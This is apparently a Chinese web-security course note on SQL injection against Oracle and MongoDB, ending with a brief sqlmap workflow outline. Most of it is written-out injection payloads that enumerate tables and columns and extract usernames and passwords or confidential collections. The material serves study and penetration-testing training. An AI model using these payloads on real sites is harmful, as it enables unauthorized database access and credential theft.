小迪安全笔记-26
小迪安全笔记-26
Kn1ght第26天:WEB攻防-通用漏洞_SQL注入_Sqlmap_Oracle_Mongodb_DB2等
知识点
1、数据库注入-Oracle&Mongodb
2、数据库注入-DB2&SQLite&Sybase
3、SQL 注入神器-SQLMAP 安装使用拓展
数据库注入
Oracle
参考: https://www.cnblogs.com/peterpan0707007/p/8242119.html
猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。
Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。
测回显:and 1=2 union select ‘1’,’2’ from dual
爆库:and 1=2 union select ‘1’,(select table_name from user_tables
where rownum=1) from dual
模糊爆库:and 1=2 union select ‘1’,(select table_name from
user_tables where rownum=1 and table_name like ‘%user%’) from dual
爆列名:and 1=2 union select ‘1’,(select column_name from
all_tab_columns where rownum=1 and table_name=’sns_users’) from dual
爆其他列名:and 1=2 union select ‘1’,(select column_name from
all_tab_columns where rownum=1 and table_name=’sns_users’ and
column_name not in (‘USER_NAME’)) from dual
爆数据:and 1=2 union select user_name,user_pwd from “sns_users”
爆其他数据:and 1=2 union select user_name,user_pwd from
“sns_users” where USER_NAME<>’hu’
Mongodb
参考:
https://www.runoob.com/mongodb/mongodb-query.html
测回显:
/new_list.php?id=1’}); return ({title:1,content:’2
爆库:
/new_list.php?id=1’}); return
({title:tojson(db),content:’1
爆表:
/new_list.php?id=1’}); return
({title:tojson(db.getCollectionNames()),content:’1
爆字段:
/new_list.php?id=1’}); return
{title:tojson(db.Authority_confidential.find()[0]),content:’1
sqlmap
参考:
https://www.cnblogs.com/bmjoker/p/9326258.html
这篇文章写的挺全的建议逐帧分析
流程
- 判断注入点;
- 判断数据库类型,就是这个注入点是什么数据库的注入点;
- 根据数据库类型,是否存在高权限注入点;
- 文件读写、命令执行不行,就只能老老实实去猜数据;